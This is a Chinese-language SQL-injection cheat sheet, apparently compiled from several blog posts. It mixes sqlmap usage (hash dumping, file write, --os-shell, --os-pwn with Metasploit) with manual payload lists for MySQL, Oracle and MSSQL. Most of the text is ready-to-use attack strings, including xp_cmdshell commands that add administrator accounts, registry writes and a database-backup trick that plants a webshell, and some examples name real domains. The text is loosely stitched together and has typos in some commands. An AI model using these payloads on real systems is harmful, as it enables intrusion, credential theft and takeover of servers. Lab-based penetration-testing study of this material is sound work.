sqlmap 为每个表生成了一个 CSV 文件。如果你只想获取一段数据,可以使用 --start 和 --stop 参数,例如,你只想获取第一段数据可以使用 --stop 1,如果想获取第二段与第三段数据,使用参数 --start 1 --stop 3。也可以用--first与--last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用--first 3 --last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。
该命令的作用是列出数据库的所有用户,如下所示。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。
命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --users
该命令的作用是列出数据库用户的密码,如下所示。如果当前用户有读取包含用户密码的权限,sqlmap会先列举出用户,然后列出Hash,并尝试破解
命令:
sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --passwords
sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --passwords -U root
可以看到 sqlmap 不仅列出了数据库的用户跟密码,同时也识别出是 mysql 数据库,并询问用户是否采用字典爆破的方式进行破解。也可以提供 -U 参数来指定爆破哪个用户的hash
从图中可以看到,密码使用 MySQL5 加密,可在网站中自行解密(自带的解密很慢)。
使用该命令可以列出当前网站使用的数据库,如下所示。
命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --current-db
使用该命令可以列出当前网站使用的数据库用户
命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --current-user
有些 web 服务器进行了url rewrite 或者 网站是伪静态的页面,sqlmap 的普通注入是不行的,所以提供了 * 参数,将SQL语句插入指定位置。" * " 一般用于伪静态注入。
示例:sqlmap.py -u "http://www.xxx.com/id/1*.html" --dbs
sqlmap 遇到 url 重写的注入,哪里存在注入就加上 * 号
示例:./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“
共5级,级别越高,检测越全面,同时运行速度越慢
参数--level 5 指定需要执行的 测试等级,一共有5个等级(1~5),不加 level 默认是1。5级包含的 Payload 最多,会自动破解出 cookie、XFF等头部注入。当然,level 5的运行速度也比较慢。
sqlmap 使用的 payload 可以在 xml/payloads.xml 中看到,也可以根据相应的格式添加自己的payload。这个参数不仅影响使用哪些 payload,同时也会影响测试的注入点,GET 和 POST 的数据都会测试,HTTP Cookie 在 level为2的时候就会测试,HTTP User-Agent / Referer 头在 level为3 的时候就会测试。
总之在不确定哪个 payload 或者参数为注入点的时候,为了保证全面性,建议使用高的 level 值。
共有 3 个风险等级,
在有些时候,例如在 UPDATE 的语句中,注入一个 OR 的测试语句,可能导致更新的整个表,可能造成很大的风险。测试的语句同样可以在 xml/payloads.xml 中找到,你也可以自行添加payload。
默认情况下 sqlmap 通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,
比如:页面当中包含一个动态的广告或者其他内容,这会导致 sqlmap 的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在( 使用 --string 参数添加字符串,--regexp 添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串( --not-string 添加 )。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数 --code=200。
有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置。
--text-only(HTTP响应体中不同)
--titles(HTML的title标签中不同)
当程序有防 get 注入的时候,可以使用 cookie 注入
cookie 注入:sqlmap -u "http://www.baidu.com/shownews.asp" --cookie="id=11" --level 2 (只有level 达到 2 才会检测 cookie )
sqlmap.py -u "www.xxx.com/asp 或者 www.xxx.com/php" --cookie "参数名如id=1" --level 2 /*level为提升权限*/
sqlmap.py -u "http://127.0.0.1/base.php" --cookies "id=1" --dbs --level 2
什么数据库就按照上面的数据库加上cookie语句拆解就行了cookie注入
url --cookie "id=" --table --level 2 //暴表
url --cookie "id=" --columns -T 表名 --level 2 //获得字段
url --cookie "id=" --dump -T 表名 -C "字段名" --level 2 //获得内容方法一:
假设有个网站,url地址为:http://www.127.0.0.1/base32?id=45
假如想测试这个页面是否有cookie注入
采用的注入方式如下:sqlmap.py -u "http://www.127.0.0.1/base32" --data="id=10" --dbs --level 2
解释:level 2是探测等级的意思,这里采用注入选择探测等级为2,当探测等级为2或2以上sqlmap是会尝试注入cookie参数的
方法二:
sqlmap.py -u "存在注入url" --cookie="抓包抓到的cookie"
或者是这样使用:sqlmap.py -u "存在注入url" --cookir="抓包抓到的cookie" --level 2 //前面讲过了探测等级为2就注入cookie参数的
sqlmap.py -u "url" --data "POST参数" 或者 sqlmap.py -u "url" --data="POST参数"
假设有个网站 url 地址为 http://www.127.0.0.1/base64?id=10 想测试这个页面是否有post注入,可以执行命令:sqlmap.py -u "http://www.127.0.0.1/base64" --data="id=10" -f --banner --dbs
在使用 Sqlmap 进行 post 型注入时,经常会出现请求遗漏导致注入失败的情况,可以即结合 burpsuite 来使用 sqlmap,用这种方法进行 post 注入测试会更准确,操作起来也非常容易。
后台注入:sqlmap.py -u "http://xxxxxx.com(cn/net/org)/login.asp(php,aspx,jsp等程序格式)" --forms
POST 登陆框注入。注入点:http://xxx.xxx.com/Login.asp
搜索框注入。和 post 注入相同,只不过形式是注入搜索框,而不是 username 或 password。
该命令用于查看当前账户是否为数据库管理员账户
命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --is-dba
该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U
参数指定想看哪个用户的角色。
命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --roles
Sqlmap 可以在请求中伪造 HTTP 中的 referer,当--level参数设定为3或3以上时,会尝试对referer注入。可以使用referer命令来欺骗
命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --referer http://www.baidu.com
参数:--search,-C,-T,-D 可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。可以在一下三种情况下使用:
示例:在 dedecms 数据库中搜索字段 admin 或者 password
命令:sqlmap -r "D:\request.txt" --dbms=mysql -D dedecms --search -C admin,password
命令用于执行指定的SQL语句,如下所示,
假设执行 select * from users limit 0,1 语句。
qlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。
示例:$ sqlmap -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
$ python sqlmap -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
在当前用户有权限使用特定的函数的前提下,如果数据库为 MySQL、PostgreSQL,Sqlmap 会上传一个二进制库,包含用户自定义的函数 sys_exec () 和 sys_eval (),那么创建的这两个函数就可以执行系统命令。
如果数据库是微软 SQL Server时,Sqlmap通过存储过程 xp_cmdshell 来执行任意命令,如果 xp_cmdshell 被禁用(SQL Server 2005及以上版本默认被禁用),则 Sqlmap 会重新启用它;如果不存在,会自动创建。
用 --os-shell 参数可以模拟一个真实的 Shell,输入想执行的命令。当不能执行多语句时(如PHP或ASP+Mysql),仍然可以使用 INTO OUTFILE写进可写目录,创建一个Web后门。
Sqlmap 支持 ASP、ASP.NET、JSP 和 PHP 四种语言(要想执行该参数,需要有数据库管理员权限,也就是 --is-dba 的值要为 True)。
命令:sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-cmd=ipconfig
执行后根据提示选择网站语言,然后回车,指定目标站点根目录,然后继续回车即可完整执行命令。命令:sqlmap -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell
执行后根据提示选择网站语言,然后回车,指定目标站点根目录后回车,输入命令即可执行。使用 shell命令:
sqlmap -r "c:\tools\request.txt" -p id --dms=mysql --os-shell
接下来指定网站可写目录:"E:\php\htdocs\dvwa"
#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)sqlmap.py -u "url" --os-cmd="net user" /*执行net user命令*/
sqlmap.py -u "url" --os-shell /*系统交互的shell*/
执行命令后会在网站根目录上传两个文件:tmpbxbxz.php、tmpuoiuz.php(此文件为上传页面)
该命令用于读取执行文件,当数据库为 MySQL、PostgreSQL 或 MicrosoftSQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --file-read "C:/11.txt"
执行完会把文件保存到本地目录下
该命令用于写入本地文件到服务器中,当数据库为 MySQL、PostgreSQL 或 Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。
命令:sqlmap -u http://192.168.0.3/sqli_labs/Less-1/?id=3 --file-dest "C:/windows/Temp/1.php"
执行结束即可把本地的1.txt 文件上传到目标服务器下
示例:sqlmap -r "c:\request.txt" -p id --dbms=mysql --file-dest="e:\php\htdocs\dvwa\inc\include\1.php" --file-write "f:\webshell\1112.php"
参数:
当数据库为 MySQL,PostgreSQL 或 Microsoft SQL Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap 根据 Metasploit 生成 shellcode,并有四种方式执行它:
示例:sqlmap -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit
默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL 在 Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。
当数据库为 MySQL,PostgreSQL 或 Microsoft SQL Server,并且当前 web 应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。
需要配合之前三个参数使用,
示例:sqlmap -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
sqli-labs 通关攻略:https://cloud.tencent.com/developer/article/1906116
Sqli-labs 知识总结:https://www.cnblogs.com/7-58/p/12286731.html
From:https://blog.csdn.net/MachineGunJoe/article/details/116267692
提起sql注入,相信大家并不陌生,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,从而达到和服务器进行直接的交互。有可能存在 SQL 注入的数据库类型可以是 Mysql、Mssql、Oracle、Postgress 等等。
预备知识
对 mysql 数据库有一定了解;对基本的 sql 语句有所了解;
对 url 编码 有了解:
- 空格 = "%20"
- 单引号 = "%27"
- 双引号 = "%22"
- 井号 = "%23"
基本步骤
前面闭合;要执行的sql;后面闭合
sql 注释的三种方式
采用 union 探测内容,而union的规则是必须要求列数相同才能正常展示,因此必须要探测列数,保证构造的注入查询结果与元查询结果列数与数据类型相同;
‘order by 1’代表按第一列升序排序,若数字代表的列不存在,则会报错,由此可以探测出有多少列。示例:
当试到'4'时,出现报错信息,可以知道该表有3列:Unknown column '4' in 'order clause'
执行的sql语句是:SELECT * FROM users WHERE id='2' order by 4 -- '' LIMIT 0,1
显示位:表中数据第几位的字段可以显示,因为并不是所有的查询结果都会展示在页面中,因此需要探测页面中展示的查询结果是哪一列的结果;
'union select 1,2,3 -- ' 通过显示的数字可以判断那些字段可以显示出来。
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 -- '
可见2,3所在的字段可以显示
ps:id=-1,使用-1是为了使前一个sql语句所选的内容为空,从而便于后面的select语句显示信息
现在只有两个字段可以显示信息,显然在后面的查询数据中,两个字段是不够用,可以使用
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(database(),version()),3 -- '
Your Login name:security5.5.53
Your Password:3
可以知道当前数据库名为security,数据库版本为5.5.53
Mysql 有一个系统的数据库 information_schema,里面保存着所有数据库的相关信息,使用该表完成注入
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),schema_name,char(32)),3 from information_schema.schemata -- '
获取到了所有的数据库信息 information_schema ,security
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),table_name,char(32)),3 from information_schema.tables where table_schema='security' -- '
Your Login name: emails , referers , uagents , users
Your Password:3
ps:table_schema= '数据库的名'
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),column_name,char(32)),3 from information_schema.columns where table_name='users' -- '
Your Login name: user_id , first_name , last_name , user , password , avatar , last_login , failed_login , id , username , password
Your Password:3
执行的sql语句是:SELECT * FROM users WHERE id='-1' union select 1,group_concat(char(32),column_name,char(32)),3 from information_schema.columns where table_name='users' -- '' LIMIT 0,1
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32),password),3 from users -- '
Your Login name: Dumb Dumb, Angelina I-kill-you, Dummy p@ssword, secure crappy, stupid stupidity, superman genious, batman mob!le, admin admin, admin1 admin1, admin2 admin2, admin3 admin3, dhakkan dumbo, admin4 admin4
Your Password:3
执行的sql语句是:SELECT * FROM users WHERE id='-1' union select 1,group_concat(char(32),username,char(32),password),3 from users -- '' LIMIT 0,1
虽说目前互联网上已经有很多关于 sql 注入的神器了,但是在这个 WAF 横行的时代,手工注入往往在一些真实环境中会显得尤为重要,这里做个知识总结,不会有详细的知识解读,类似于查询手册的形式,便于复习与查阅,文中内容可能会存在错误,请指出并改正。。。
注入的时候,判断注入
http://site/script?id=10
http://site/script?id=11-1 # 相当于 id=10
http://site/script?id=(select 10) # 相当于 id=10
http://site/script?id=10 and 1=1 # 失败通过判断可发现 and 和 or 被过滤
http://site/script?id=10– # 失败
http://site/script?id=10;– # 失败
http://site/script?id=10);– # 失败
http://site/script?id=10)subquery;– # 失败可以用 burpsuite 的 intruder 的字典跑,但是仍然失败。
这里可以用到SQL语句的case when …then … else … end语句
CASE WHEN语句在DB2,ORACLE,SQL SERVER系列,SYBASE等大型数据库都受到支持,是标准的SQL语句。可以这样子理解:CASE… WHEN… THEN …ELSE …END
CASE WHEN 语法有两种情况:
第一种是CASE 后面不带表达式的;
CASE WHEN expression THEN 操作1
WHEN expression THEN 操作2
.......
ELSE 操作n
END第二种是CASE 后面带表达式的(而此时WHEN 后面的则是该表达式可能的值),通用。
CASE expression
WHEN expression值1 THEN 操作1
WHEN expression值2 THEN 操作2
.......
ELSE 操作n
ENDhttp://host/script?id=11-(case when 1=1 then 1 else 0 end)
用1=1跟1=2测试http://host/script?id=10 # 当条件为真的时候
http://host/script?id=11 # 当条件为假的时候
可以很明显的看到返回不同,然后可以判断注入。那么怎么能让sqlmap去识别呢?
Sqlmap 默认是自己寻找注入点的,但是你加上一个*,可以引导他。语句:sqlmap.py -u "http://host/script?id=11-(case when 1=1星号 then 1)"
注入最头痛的就是遇到过滤,sqlmap 提供了字符转换的功能 --tamper=between
当然自己可以改写转换内容,文件在 /tamper 目录下。
关于 post 注入 sqlmap 可以用 -r 参数 加载数据包:sqlmap.py -r post.txt
having xor 等逻辑符号也可以判断注入。
收集了一些利用 Sqlmap 做注入测试的 TIPS,其中也包含一点绕WAF的技巧。
?id=1' order by 4--+
?id=0' union select 1,2,3,database()--+
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )?id=0' union select 1,2,3,password from users limit 0,1--+
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
每个一个报错语句都有它的原理:
exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。
updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +
爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +
#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:
substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度
?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +
时间盲注也叫延时注入,一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)。一般时间盲注我们还需要使用条件判断函数
#if(expre1,expre2,expre3)
当 expre1 为 true 时,返回 expre2,false 时,返回 expre3#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left
我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
?id=1' and substr((select user()),1,1)='r' -- +
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值
?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1
insert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现,我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入
mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id | username | password |
+------+-----------------------------------------------+----------+
| 1 | admin | admin |
| 1 | and 1=1 | admin |
| 2 | or updatexml(1,concat(0x7e,(version())),0) or | admin |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)
mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
#delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为false
mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
#int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)
mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)
#字符型注意闭合不能使用and
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)
mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)
# delete 函数 or 右边一定要为 false
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)
mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)
#update 更新数据内容
mysql> select * from admin;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | 1 | admin |
| 2 | admin | admin |
+------+----------+----------+
4 rows in set (0.00 sec)
mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4 Changed: 4 Warnings: 0
二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码它,这样就不会带有单引号等。
mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)
mysql> select * from admin;
+----+-----------+-------+
| id | name | pass |
+----+-----------+-------+
| 1 | admin | admin |
| 2 | admin'111 | 11111 |
| 3 | admin'--+ | 11 |
+----+-----------+-------+
4 rows in set (0.00 sec)
二次注入在没有源码的情况比较难发现,通常见于注册,登录恶意账户后,数据库可能会因为恶意账户名的问题,将 admin'--+ 误认为 admin 账户
宽字节注入:针对目标做了一定的防护,单引号转变为 \' , mysql 会将 \ 编码为 %5c ,宽字节中两个字节代表一个汉字,所以把 %df 加上 %5c 就变成了一个汉字“運”,使用这种方法成功绕过转义,就是所谓的宽字节注入
id=-1%df' union select...
#没使用宽字节
%27 -> %5C%27#使用宽字节
%df%27 -> %df%5c%27 -> 運'
?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
既然是盲注,那么肯定涉及到条件判断语句,Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值);
该函数的含义如下:
IF 条件=值1 THEN
RETURN(返回值1)
ELSIF 条件=值2 THEN
RETURN(返回值2)
......
ELSIF 条件=值n THEN
RETURN(返回值n)
ELSE
RETURN(缺省值)
END IF
?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=1' and ascii(substr(user,1,1))> 64-- #二分法
?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--
?id=1' and 1=(select 1/@@servername)--
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--
?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--
?id= 1';if(2>1) waitfor delay '0:0:5'--
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay '0:0:2'--
看看下面的
1.判断是否有注入
;and 1=1
;and 1=22.初步判断是否是mssql
;and user>03.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access4.注入参数是字符
'and [查询条件] and ''='5.搜索时没过滤参数的
'and [查询条件] and '%25'='6.猜数据库
;and (select Count(*) from [数据库名])>07.猜字段
;and (select Count(字段名) from 数据库名)>08.猜字段中记录长度
;and (select top 1 len(字段名) from 数据库名)>09.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>010.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net user username password /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='g:\wwwtest\l.asp';请求的时候,像这样子用:
http://ip/l.asp?c=dir
SQL手工注入大全前提需要工具:SQL Query Analyzer和SqlExec Sunx Version
1.去掉xp_cmdshell扩展过程的方法是使用如下语句:
if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'2.添加xp_cmdshell扩展过程的方法是使用如下语句:
(1)SQL Query Analyzer
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
去除
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
?
SQL手工注入方法总结(SQL Server2005)2010-01-28 16:17---------以下以省略注入点用URL代替--(1) ******查看驱动器方法******
-- 建表p(i为自动编号,a记录盘符类似"c:\",b记录可用字节,其它省略)
URL;create table p(i int identity(1,1),a nvarchar(255),b nvarchar(255),c nvarchar(255),d nvarchar(255));--URL;insert p exec xp_availablemedia;--列出所有驱动器并插入表p
URL;and (select count(*) from p)>3;--折半法查出驱动器总数
URL;and ascii(substring((select a from p where i=1),1,1))=67;--折半法查出驱动器名(注asc(c)=67)
--上面一般用于无显错情况下使用-------以此类推,得到所有驱动器名
URL;and (select a from p where i=1)>3;--报错得到第一个驱动器名
--上面一般用于显错情况下使用-------以此类推,得到所有驱动器名
